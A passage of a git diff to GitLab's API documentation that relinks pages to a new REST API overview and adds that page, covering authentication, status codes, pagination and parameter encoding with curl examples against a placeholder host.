/projects/:id/merge_requests/:merge_request_iid/resource_milestone_events | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `merge_request_iid` | integer | yes | The IID of a merge request | Example request: @@ -215,7 +215,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `resource_milestone_event_id` | integer | yes | The ID of a milestone event | diff --git a/doc/api/resource_state_events.md b/doc/api/resource_state_events.md index 5ea588167a0..d17b6c39686 100644 --- a/doc/api/resource_state_events.md +++ b/doc/api/resource_state_events.md @@ -25,7 +25,7 @@ GET /projects/:id/issues/:issue_iid/resource_state_events | Attribute | Type | Required | Description | | ----------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | Example request: @@ -83,7 +83,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `issue_iid` | integer | yes | The IID of an issue | | `resource_state_event_id` | integer | yes | The ID of a state event | @@ -125,7 +125,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/resource_state_events | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `merge_request_iid` | integer | yes | The IID of a merge request | Example request: @@ -183,7 +183,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `resource_state_event_id` | integer | yes | The ID of a state event | @@ -227,7 +227,7 @@ GET /groups/:id/epics/:epic_id/resource_state_events | Attribute | Type | Required | Description | |-------------| -------------- | -------- |--------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `epic_id` | integer | yes | The ID of an epic. | Example request: @@ -285,7 +285,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------------| -------------- | -------- |-------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `epic_id` | integer | yes | The ID of an epic. | | `resource_state_event_id` | integer | yes | The ID of a state event. | diff --git a/doc/api/resource_weight_events.md b/doc/api/resource_weight_events.md index 14596556b7b..1c18e85479c 100644 --- a/doc/api/resource_weight_events.md +++ b/doc/api/resource_weight_events.md @@ -24,7 +24,7 @@ GET /projects/:id/issues/:issue_iid/resource_weight_events | Attribute | Type | Required | Description | | ----------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | Example request: @@ -80,7 +80,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `issue_iid` | integer | yes | The IID of an issue | | `resource_weight_event_id` | integer | yes | The ID of a weight event | diff --git a/doc/api/rest/index.md b/doc/api/rest/index.md new file mode 100644 index 00000000000..57d13f2a54f --- /dev/null +++ b/doc/api/rest/index.md @@ -0,0 +1,784 @@ +--- +stage: Manage +group: Integrations +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# REST API **(FREE)** + +The REST APIs have been around for a longer time compared to GraphQL APIs, which +may make them more familiar to some developers. It is often a good choice for +developers who are more comfortable with traditional API architecture. + +## Compatibility guidelines + +The HTTP API is versioned with a single number, which is currently `4`. This number +symbolizes the major version number, as described by [SemVer](https://semver.org/). +Because of this, backward-incompatible changes require this version number to +change. + +The minor version isn't explicit, which allows for a stable API +endpoint. New features can be added to the API in the same +version number. + +New features and bug fixes are released in tandem with GitLab. Apart +from incidental patch and security releases, GitLab is released on the 22nd of each +month. Major API version changes, and removal of entire API versions, are done in tandem +with major GitLab releases. + +All deprecations and changes between versions are in the documentation. + +### Current status + +Only API version v4 is available. + +## How to use the API + +API requests must include both `api` and the API version. The API +version is defined in [`lib/api.rb`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/api/api.rb). +For example, the root of the v4 API is at `/api/v4`. + +### Valid API request + +The following is a basic example of a request to the fictional `gitlab.example.com` endpoint: + +```shell +curl "https://gitlab.example.com/api/v4/projects" +``` + +The API uses JSON to serialize data. You don't need to specify `.json` at the +end of the API URL. + +NOTE: +In the example above, replace `gitlab.example.com` with `gitlab.com` to query GitLab.com (GitLab SaaS). +Access can be denied due to authentication. For more information, see [Authentication](#authentication). + +### API request to expose HTTP response headers + +If you want to expose HTTP response headers, use the `--include` option: + +```shell +curl --include "https://gitlab.example.com/api/v4/projects" +HTTP/2 200 +... +``` + +This request can help you investigate an unexpected response. + +### API request that includes the exit code + +If you want to expose the HTTP exit code, include the `--fail` option: + +```shell +curl --fail "https://gitlab.example.com/api/v4/does-not-exist" +curl: (22) The requested URL returned error: 404 +``` + +The HTTP exit code can help you diagnose the success or failure of your REST request. + +## Authentication + +Most API requests require authentication, or only return public data when +authentication isn't provided. When authentication is not required, the documentation +for each endpoint specifies this. For example, the +[`/projects/:id` endpoint](../projects.md#get-single-project) does not require authentication. + +There are several ways you can authenticate with the GitLab API: + +- [OAuth2 tokens](#oauth2-tokens) +- [Personal access tokens](../../user/profile/personal_access_tokens.md) +- [Project access tokens](../../user/project/settings/project_access_tokens.md) +- [Group access tokens](../../user/group/settings/group_access_tokens.md) +- [Session cookie](#session-cookie) +- [GitLab CI/CD job token](../../ci/jobs/ci_job_token.md) **(Specific endpoints only)** + +Project access tokens are supported by: + +- Self-managed GitLab Free and higher. +- GitLab SaaS Premium and higher. + +If you are an administrator, you or your application can authenticate as a specific user. +To do so, use: + +- [Impersonation tokens](#impersonation-tokens) +- [Sudo](#sudo) + +If authentication information is not valid or is missing, GitLab returns an error +message with a status code of `401`: + +```json +{ + "message": "401 Unauthorized" +} +``` + +NOTE: +Deploy tokens can't be used with the GitLab public API. For details, see +[Deploy Tokens](../../user/project/deploy_tokens/index.md). + +### OAuth2 tokens + +You can use an [OAuth2 token](../oauth2.md) to authenticate with the API by passing +it in either the `access_token` parameter or the `Authorization` header. + +Example of using the OAuth2 token in a parameter: + +```shell +curl "https://gitlab.example.com/api/v4/projects?access_token=OAUTH-TOKEN" +``` + +Example of using the OAuth2 token in a header: + +```shell +curl --header "Authorization: Bearer OAUTH-TOKEN" "https://gitlab.example.com/api/v4/projects" +``` + +Read more about [GitLab as an OAuth2 provider](../oauth2.md). + +NOTE: +We recommend OAuth access tokens have an expiration. You can use the `refresh_token` parameter +to refresh tokens. Integrations may need to be updated to use refresh tokens prior to +expiration, which is based on the [`expires_in`](https://datatracker.ietf.org/doc/html/rfc6749#appendix-A.14) +property in the token endpoint response. See [OAuth2 token](../oauth2.md) documentation +for examples requesting a new access token using a refresh token. + +A default refresh setting of two hours is tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/336598). + +### Personal/project/group access tokens + +You can use access tokens to authenticate with the API by passing it in either +the `private_token` parameter or the `PRIVATE-TOKEN` header. + +Example of using the personal, project, or group access token in a parameter: + +```shell +curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>" +``` + +Example of using the personal, project, or group access token in a header: + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects" +``` + +You can also use personal, project, or group access tokens with OAuth-compliant headers: + +```shell +curl --header "Authorization: Bearer <your_access_token>" "https://gitlab.example.com/api/v4/projects" +``` + +### Session cookie + +Signing in to the main GitLab application sets a `_gitlab_session` cookie. The +API uses this cookie for authentication if it's present. Using the API to +generate a new session cookie isn't supported. + +The primary user of this authentication method is the web frontend of GitLab +itself. The web frontend can use the API as the authenticated user to get a +list of projects without explicitly passing an access token. + +### Impersonation tokens + +Impersonation tokens are a type of [personal access token](../../user/profile/personal_access_tokens.md). +They can be created only by an administrator, and are used to authenticate with the +API as a specific user. + +Use impersonation tokens as an alternative to: + +- The user's password or one of their personal access tokens. +- The [Sudo](#sudo) feature. The user's or administrator's password or token + may not be known, or may change over time. + +For more information, see the [users API](../users.md#create-an-impersonation-token) +documentation. + +Impersonation tokens are used exactly like regular personal access tokens, and +can be passed in either the `private_token` parameter or the `PRIVATE-TOKEN` +header. + +#### Disable impersonation + +By default, impersonation is enabled. To disable impersonation: + +**For Omnibus installations** + +1. Edit the `/etc/gitlab/gitlab.rb` file: + + ```ruby + gitlab_rails['impersonation_enabled'] = false + ``` + +1. Save the file, and then [reconfigure](../../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) + GitLab for the changes to take effect. + +To re-enable impersonation, remove this configuration, and then reconfigure +GitLab. + +**For installations from source** + +1. Edit the `config/gitlab.yml` file: + + ```yaml + gitlab: + impersonation_enabled: false + ``` + +1. Save the file, and then [restart](../../administration/restart_gitlab.md#installations-from-source) + GitLab for the changes to take effect. + +To re-enable impersonation, remove this configuration, and then restart GitLab. + +### Sudo + +All API requests support performing an API request as if you were another user, +provided you're authenticated as an administrator with an OAuth or personal +access token that has the `sudo` scope. The API requests are executed with the +permissions of the impersonated user. + +As an [administrator](../../user/permissions.md), pass the `sudo` parameter either +by using query string or a header with an ID or username (case insensitive) of +the user you want to perform the operation as. If passed as a header, the header +name must be `Sudo`. + +If a non administrative access token is provided, GitLab returns an error +message with a status code of `403`: + +```json +{ + "message": "403 Forbidden - Must be admin to use sudo" +} +``` + +If an access token without the `sudo` scope is provided, an error message is +returned with a status code of `403`: + +```json +{ + "error": "insufficient_scope", + "error_description": "The request requires higher privileges than provided by the access token.", + "scope": "sudo" +} +``` + +If the sudo user ID or username cannot be found, an error message is +returned with a status code of `404`: + +```json +{ + "message": "404 User with ID or username '123' Not Found" +} +``` + +Example of a valid API request and a request using cURL with sudo request, +providing a username: + +```plaintext +GET /projects?private_token=<your_access_token>&sudo=username +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects" +``` + +Example of a valid API request and a request using cURL with sudo request, +providing an ID: + +```plaintext +GET /projects?private_token=<your_access_token>&sudo=23 +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects" +``` + +## Status codes + +The API is designed to return different status codes according to context and +action. This way, if a request results in an error, you can get +insight into what went wrong. + +The following table gives an overview of how the API functions generally behave. + +| Request type | Description | +|---------------|-------------| +| `GET` | Access one or more resources and return the result as JSON. | +| `POST` | Return `201 Created` if the resource is successfully created and return the newly created resource as JSON. | +| `GET` / `PUT` | Return `200 OK` if the resource is accessed or modified successfully. The (modified) result is returned as JSON. | +| `DELETE` | Returns `204 No Content` if the resource was deleted successfully or `202 Accepted` if the resource is scheduled to be deleted. | + +The following table shows the possible return codes for API requests. + +| Return values | Description | +|--------------------------|-------------| +| `200 OK` | The `GET`, `PUT` or `DELETE` request was successful, and the resource itself is returned as JSON. | +| `202 Accepted` | The `GET`, `PUT` or `DELETE` request was successful, and the resource is scheduled for processing. | +| `204 No Content` | The server has successfully fulfilled the request, and there is no additional content to send in the response payload body. | +| `201 Created` | The `POST` request was successful, and the resource is returned as JSON. | +| `304 Not Modified` | The resource hasn't been modified since the last request. | +| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. | +| `401 Unauthorized` | The user isn't authenticated. A valid [user token](#authentication) is necessary. | +| `403 Forbidden` | The request isn't allowed. For example, the user isn't allowed to delete a project. | +| `404 Not Found` | A resource couldn't be accessed. For example, an ID for a resource couldn't be found. | +| `405 Method Not Allowed` | The request isn't supported. | +| `409 Conflict` | A conflicting resource already exists. For example, creating a project with a name that already exists. | +| `412` | The request was denied. This can happen if the `If-Unmodified-Since` header is provided when trying to delete a resource, which was modified in between. | +| `422 Unprocessable` | The entity couldn't be processed. | +| `429 Too Many Requests` | The user exceeded the [application rate limits](../../administration/instance_limits.md#rate-limits). | +| `500 Server Error` | While handling the request, something went wrong on the server. | + +## Pagination + +GitLab supports the following pagination methods: + +- Offset-based pagination. This is the default method and is available on all endpoints. +- Keyset-based pagination. Added to selected endpoints but being + [progressively rolled out](https://gitlab.com/groups/gitlab-org/-/epics/2039). + +For large collections, for performance reasons we recommend keyset pagination +(when available) instead of offset pagination. + +### Offset-based pagination + +Sometimes, the returned result spans many pages. When listing resources, you can +pass the following parameters: + +| Parameter | Description | +|------------|-------------| +| `page` | Page number (default: `1`). | +| `per_page` | Number of items to list per page (default: `20`, max: `100`). | + +In the following example, we list 50 [namespaces](../namespaces.md) per page: + +```shell +curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/namespaces?per_page=50" +``` + +NOTE: +There is a [max offset allowed limit](../../administration/instance_limits.md#max-offset-allowed-by-the-rest-api-for-offset-based-pagination) for offset pagination. You can change the limit in self-managed instances. + +#### Pagination `Link` header + +[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each +response. They have `rel` set to `prev`, `next`, `first`, or `last` and contain +the relevant URL. Be sure to use these links instead of generating your own URLs. + +For GitLab.com users, [some pagination headers may not be returned](../../user/gitlab_com/index.md#pagination-response-headers). + +In the following cURL example, we limit the output to three items per page +(`per_page=3`) and we request the second page (`page=2`) of [comments](../notes.md) +of the issue with ID `8` which belongs to the project with ID `9`: + +```shell +curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2" +``` + +The response is: + +```http +HTTP/2 200 OK +cache-control: no-cache +content-length: 1103 +content-type: application/json +date: Mon, 18 Jan 2016 09:43:18 GMT +link: <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="prev", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="next", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=1&per_page=3>; rel="first", <https://gitlab.example.com/api/v4/projects/8/issues/8/notes?page=3&per_page=3>; rel="last" +status: 200 OK +vary: Origin +x-next-page: 3 +x-page: 2 +x-per-page: 3 +x-prev-page: 1 +x-request-id: 732ad4ee-9870-4866-a199-a9db0cde3c86 +x-runtime: 0.108688 +x-total: 8 +x-total-pages: 3 +``` + +#### Other pagination headers + +GitLab also returns the following additional pagination headers: + +| Header | Description | +|-----------------|-------------| +| `x-next-page` | The index of the next page. | +| `x-page` | The index of the current page (starting at 1). | +| `x-per-page` | The number of items per page. | +| `x-prev-page` | The index of the previous page. | +| `x-total` | The total number of items. | +| `x-total-pages` | The total number of pages. | + +For GitLab.com users, [some pagination headers may not be returned](../../user/gitlab_com/index.md#pagination-response-headers). + +### Keyset-based pagination + +Keyset-pagination allows for more efficient retrieval of pages and - in contrast +to offset-based pagination - runtime is independent of the size of the +collection. + +This method is controlled by the following parameters. `order_by` and `sort` are both mandatory. + +| Parameter | Required | Description | +|--------------| ------------ | --------- | +| `pagination` | yes | `keyset` (to enable keyset pagination). | +| `per_page` | no | Number of items to list per page (default: `20`, max: `100`). | +| `order_by` | yes | Column by which to order by. | +| `sort` | yes | Sort order (`asc` or `desc`) | + +In the following example, we list 50 [projects](../projects.md) per page, ordered +by `id` ascending. + +```shell +curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc" +``` + +The response header includes a link to the next page. For example: + +```http +HTTP/1.1 200 OK +... +Link: <https://gitlab.example.com/api/v4/projects?pagination=keyset&per_page=50&order_by=id&sort=asc&id_after=42>; rel="next" +Status: 200 OK +... +``` + +The link to the next page contains an additional filter `id_after=42` that +excludes already-retrieved records. + +As another example, the following request lists 50 [groups](../groups.md) per page ordered +by `name` ascending using keyset pagination: + +```shell +curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups?pagination=keyset&per_page=50&order_by=name&sort=asc" +``` + +The response header includes a link to the next page: + +```http +HTTP/1.1 200 OK +... +Link: <https://gitlab.example.com/api/v4/groups?pagination=keyset&per_page=50&order_by=name&sort=asc&cursor=eyJuYW1lIjoiRmxpZ2h0anMiLCJpZCI6IjI2IiwiX2tkIjoibiJ9>; rel="next" +Status: 200 OK +... +``` + +The link to the next page contains an additional filter `cursor=eyJuYW1lIjoiRmxpZ2h0anMiLCJpZCI6IjI2IiwiX2tkIjoibiJ9` that +excludes already-retrieved records. + +The type of filter depends on the +`order_by` option used, and we can have more than one additional filter. + +WARNING: +The `Links` header was removed in GitLab 14.0 to be aligned with the +[W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link` +header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714) +and should be used instead. + +When the end of the collection is reached and there are no additional +records to retrieve, the `Link` header is absent and the resulting array is +empty. + +We recommend using only the given link to retrieve the next page instead of +building your own URL. Apart from the headers shown, we don't expose additional +pagination headers. + +Keyset-based pagination is supported only for selected resources and ordering +options: + +| Resource | Options | Availability | +|:---------------------------------------------------------|:---------------------------------|:-------------------------------------------------------------------------------------------------------------| +| [Projects](../projects.md) | `order_by=id` only | Authenticated and unauthenticated users | +| [Groups](../groups.md) | `order_by=name`, `sort=asc` only | Unauthenticated users only | +| [Group audit events](../audit_events.md#group-audit-events) | `order_by=id`, `sort=desc` only | Authenticated users only ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/333968) in GitLab 15.2) | +| [Jobs](../jobs.md) | `order_by=id`, `sort=desc` only | Authenticated users only ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362172) in GitLab 15.9) | + +### Pagination response headers + +For performance reasons, if a query returns more than 10,000 records, GitLab +doesn't return the following headers: + +- `x-total`. +- `x-total-pages`. +- `rel="last"` `link` + +## Path parameters + +If an endpoint has path parameters, the documentation displays them with a +preceding colon. + +For example: + +```plaintext +DELETE /projects/:id/share/:group_id +``` + +The `:id` path parameter needs to be replaced with the project ID, and the +`:group_id` needs to be replaced with the ID of the group. The colons `:` +shouldn't be included. + +The resulting cURL request for a project with ID `5` and a group ID of `17` is then: + +```shell +curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" +``` + +Path parameters that are required to be URL-encoded must be followed. If not, +it doesn't match an API endpoint and responds with a 404. If there's +something in front of the API (for example, Apache), ensure that it doesn't decode +the URL-encoded path parameters. + +## Namespaced path encoding + +If using namespaced API requests, make sure that the `NAMESPACE/PROJECT_PATH` is +URL-encoded. + +For example, `/` is represented by `%2F`: + +```plaintext +GET /api/v4/projects/diaspora%2Fdiaspora +``` + +A project's _path_ isn't necessarily the same as its _name_. A project's path is +found in the project's URL or in the project's settings, under +**General > Advanced > Change path**. + +## File path, branches, and tags name encoding + +If a file path, branch or tag contains a `/`, make sure it is URL-encoded. + +For example, `/` is represented by `%2F`: + +```plaintext +GET /api/v4/projects/1/repository/files/src%2FREADME.md?ref=master +GET /api/v4/projects/1/branches/my%2Fbranch/commits +GET /api/v4/projects/1/repository/tags/my%2Ftag +``` + +## Request Payload + +API Requests can use parameters sent as [query strings](https://en.wikipedia.org/wiki/Query_string) +or as a [payload body](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-p3-payload-14#section-3.2). +GET requests usually send a query string, while PUT or POST requests usually +send the payload body: + +- Query string: + + ```shell + curl --request POST "https://gitlab/api/v4/projects?name=<example-name>&description=<example-description>" + ``` + +- Request payload (JSON): + + ```shell + curl --request POST --header "Content-Type: application/json" \ + --data '{"name":"<example-name>", "description":"<example-description>"}' "https://gitlab/api/v4/projects" + ``` + +URL encoded query strings have a length limitation. Requests that are too large +result in a `414 Request-URI Too Large` error message. This can be resolved by +using a payload body instead. + +## Encoding API parameters of `array` and `hash` types + +You can request the API with `array` and `hash` types parameters: + +### `array` + +`import_sources` is a parameter of type `array`: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ +-d "import_sources[]=github" \ +-d "import_sources[]=bitbucket" \ +"https://gitlab.example.com/api/v4/some_endpoint" +``` + +### `hash` + +`override_params` is a parameter of type `hash`: + +```shell +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ +--form "namespace=email" \ +--form "path=impapi" \ +--form "file=@/path/to/somefile.txt" \ +--form "override_params[visibility]=private" \ +--form "override_params[some_other_param]=some_value" \ +"https://gitlab.example.com/api/v4/projects/import" +``` + +### Array of hashes + +`variables` is a parameter of type `array` containing hash key/value pairs +`[{ 'key': 'UPLOAD_TO_S3', 'value': 'true' }]`: + +```shell +curl --globoff --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ +"https://gitlab.example.com/api/v4/projects/169/pipeline?ref=master&variables[0][key]=VAR1&variables[0][value]=hello&variables[1][key]=VAR2&variables[1][value]=world" + +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \ +--header "Content-Type: application/json" \ +--data '{ "ref": "master", "variables": [ {"key": "VAR1", "value": "hello"}, {"key": "VAR2", "value": "world"} ] }' \ +"https://gitlab.example.com/api/v4/projects/169/pipeline" +``` + +## `id` vs `iid` + +Some resources have two similarly-named fields. For example, [issues](../issues.md), +[merge requests](../merge_requests.md), and [project milestones](../merge_requests.md). +The fields are: + +- `id`: ID that is unique across all projects. +- `iid`: Additional, internal ID (displayed in the web UI) that's unique in the + scope of a single project. + +If a resource has both the `iid` field and the `id` field, the `iid` field is +usually used instead of `id` to fetch the resource. + +For example, suppose a project with `id: 42` has an issue with `id: 46` and +`iid: 5`. In this case: + +- A valid API request to retrieve the issue is `GET /projects/42/issues/5`. +- An invalid API request to retrieve the issue is `GET /projects/42/issues/46`. + +Not all resources with the `iid` field are fetched by `iid`. For guidance +regarding which field to use, see the documentation for the specific resource. + +## Data validation and error reporting + +When working with the API you may encounter validation errors, in which case +the API returns an HTTP `400` error. + +Such errors appear in the following cases: + +- A required attribute of the API request is missing (for example, the title of + an issue isn't given). +- An attribute did not pass the validation (for example, the user bio is too + long). + +When an attribute is missing, you receive something like: + +```http +HTTP/1.1 400 Bad Request +Content-Type: application/json +{ + "message":"400 (Bad request) \"title\" not given" +} +``` + +When a validation error occurs, error messages are different. They hold +all details of validation errors: + +```http +HTTP/1.1 400 Bad Request +Content-Type: application/json +{ + "message": { + "bio": [ + "is too long (maximum is 255 characters)" + ] + } +} +``` + +This makes error messages more machine-readable. The format can be described as +follows: + +```json +{ + "message": { + "<property-name>": [ + "<error-message>", + "<error-message>", + ... + ], + "<embed-entity>": { + "<property-name>": [ + "<error-message>", + "<error-message>", + ... + ], + } + } +} +``` + +## Unknown route + +When you attempt to access an API URL that doesn't exist, you receive a +404 Not Found message. + +```http +HTTP/1.1 404 Not Found +Content-Type: application/json +{ + "error": "404 Not Found" +} +``` + +## Encoding `+` in ISO 8601 dates + +If you need to include a `+` in a query parameter, you may need to use `%2B` +instead, due to a [W3 recommendation](https://www.w3.org/Addressing/URL/4_URI_Recommentations.html) +that causes a `+` to be interpreted as a space. For example, in an ISO 8601 date, +you may want to include a specific time in ISO 8601 format, such as: + +```plaintext +2017-10-17T23:11:13.000+05:30 +``` + +The correct encoding for the query parameter would be: + +```plaintext +2017-10-17T23:11:13.000%2B05:30 +``` + +## Clients + +Many unofficial GitLab API Clients are available for most of the popular programming +languages. For a complete list, see the [GitLab website](https://about.gitlab.com/partners/technology-partners/#api-clients). + +## Rate limits + +For administrator documentation on rate limit settings, see +[Rate limits](../../security/rate_limits.md). To find the settings that are +specifically used by GitLab.com, see +[GitLab.com-specific rate limits](../../user/gitlab_com/index.md#gitlabcom-specific-rate-limits). + +## Content type + +The GitLab API supports the `application/json` content type by default, though +some API endpoints also support `text/plain`. + +In [GitLab 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/250342), +API endpoints do not support `text/plain` by default, unless it's explicitly documented. + +## Resolve requests detected as spam + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/352913) in GitLab 14.9. + +REST API requests can be detected as spam. If a request is detected as spam and: + +- A CAPTCHA service is not configured, an error response is returned. For example: + + ```json + {"message":{"error":"Your snippet has been recognized as spam and has been discarded."}} + ``` + +- A CAPTCHA service is configured, you receive a response with: + - `needs_captcha_response` set to `true`. + - The `spam_log_id` and `captcha_site_key` fields set. + + For example: + + ```json + {"needs_captcha_response":true,"spam_log_id":42,"captcha_site_key":"REDACTED","message":{"error":"Your snippet has been recognized as spam. Please, change the content or solve the reCAPTCHA to proceed."}} + ``` + +- Use the `captcha_site_key` to obtain a CAPTCHA response value using the appropriate CAPTCHA API. + Only [Google reCAPTCHA v2](https://developers.google.com/recaptcha/docs/display) is supported. +- Resubmit the request with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set. + +```shell +export CAPTCHA_RESPONSE="<CAPTCHA response obtained from CAPTCHA service>" +export SPAM_LOG_ID="<spam_log_id obtained from initial REST response>" +curl --request POST --header "PRIVATE-TOKEN: $PRIVATE_TOKEN" --header "X-GitLab-Captcha-Response: $CAPTCHA_RESPONSE" --header "X-GitLab-Spam-Log-Id: $SPAM_LOG_ID" "https://gitlab.example.com/api/v4/snippets?title=Title&file_name=FileName&content=Content&visibility=public" +``` diff --git a/doc/api/runners.md b/doc/api/runners.md index c692faf9490..be69b762555 100644 --- a/doc/api/runners.md +++ b/doc/api/runners.md @@ -6,7 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Runners API **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2640) in GitLab 8.5. +[Pagination](rest/index.md#pagination) is available on the following API endpoints (they return 20 items by default): + +```plaintext +GET /runners +GET /runners/all +GET /runners/:id/jobs +GET /projects/:id/runners +GET /groups/:id/runners +``` ## Registration and authentication tokens @@ -33,7 +41,7 @@ GitLab and the runner are then connected. ## List owned runners -Get a list of specific runners available to the user. +Get a list of runners available to the user. ```plaintext GET /runners @@ -46,7 +54,7 @@ GET /runners?tag_list=tag1,tag2 | Attribute | Type | Required | Description | |------------|--------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `scope` | string | no | Deprecated: Use `type` or `status` instead. The scope of specific runners to return, one of: `active`, `paused`, `online` and `offline`; showing all runners if none provided | +| `scope` | string | no | Deprecated: Use `type` or `status` instead. The scope of runners to return, one of: `active`, `paused`, `online` and `offline`; showing all runners if none provided | | `type` | string | no | The type of runners to return, one of: `instance_type`, `group_type`, `project_type` | | `status` | string | no | The status of runners to return, one of: `online`, `offline`, `stale`, and `never_contacted`. `active` and `paused` are also possible values which were deprecated in GitLab 14.8 and will be removed in GitLab 16.0 | | `paused` | boolean | no | Whether to include only runners that are accepting or ignoring new jobs | @@ -97,7 +105,7 @@ Example response: ## List all runners **(FREE SELF)** -Get a list of all runners in the GitLab instance (specific and shared). Access +Get a list of all runners in the GitLab instance (project and shared). Access is restricted to users with administrator access. ```plaintext @@ -184,7 +192,7 @@ Example response: ] ``` -To view more than the first 20 runners, use [pagination](index.md#pagination). +To view more than the first 20 runners, use [pagination](rest/index.md#pagination). ## Get runner's details @@ -325,7 +333,7 @@ Example response: ### Pause a runner -Pause a specific runner. +Pause a runner. ```plaintext PUT --form "paused=true" /runners/:runner_id @@ -462,8 +470,8 @@ GET /projects/:id/runners?tag_list=tag1,tag2 | Attribute | Type | Required | Description | |------------|----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `scope` | string | no | Deprecated: Use `type` or `status` instead. The scope of specific runners to return, one of: `active`, `paused`, `online` and `offline`; showing all runners if none provided | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | +| `scope` | string | no | Deprecated: Use `type` or `status` instead. The scope of runners to return, one of: `active`, `paused`, `online` and `offline`; showing all runners if none provided | | `type` | string | no | The type of runners to return, one of: `instance_type`, `group_type`, `project_type` | | `status` | string | no | The status of runners to return, one of: `online`, `offline`, `stale`, and `never_contacted`. `active` and `paused` are also possible values which were deprecated in GitLab 14.8 and will be removed in 